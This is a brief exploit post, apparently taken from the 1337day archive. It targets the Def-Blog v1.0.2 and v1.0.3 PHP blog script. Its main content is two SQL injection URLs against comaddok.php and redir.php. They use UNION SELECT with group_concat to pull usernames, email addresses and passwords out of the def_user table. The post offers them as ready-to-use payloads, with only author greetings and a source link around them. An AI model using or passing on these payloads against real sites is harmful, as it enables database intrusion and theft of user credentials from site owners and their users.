+————————————————————————-+

# Exploit Title : Def-Blog v1.0.3 sql injection Vulnerability
# version : V 1.0.3 and V 1.0.2
# Author : Cyber-Crystal
# Date : n/a
# Software Link : http://www.easy-script.com/scripts-PHP/def-blog-v103-1981.html
+————————————————————————-+

[+] Exploits

http://localhost:8080/blog/comaddok.php?article=-1+union+select+1,group_concat%28pseudo,0×3e,mail,0×3e,mdp%29+from+def_user%20–

http://localhost:8080/blog/redir.php?id=-2+UnioN+Select+1,2,group_concat%28pseudo,0×3e,mail,0×3e,mdp%29+from+def_user%20–

############################
# Greetz 2 : All man #
# home : v4-team.com #
# Cyb3r.Crystal@Gmail.com #
# The End /////////////////#

# [1337day.com][1] [2012-01-27]

[1]: http://www.1337day.com/

Source: http://www.1337day.com/exploits/17446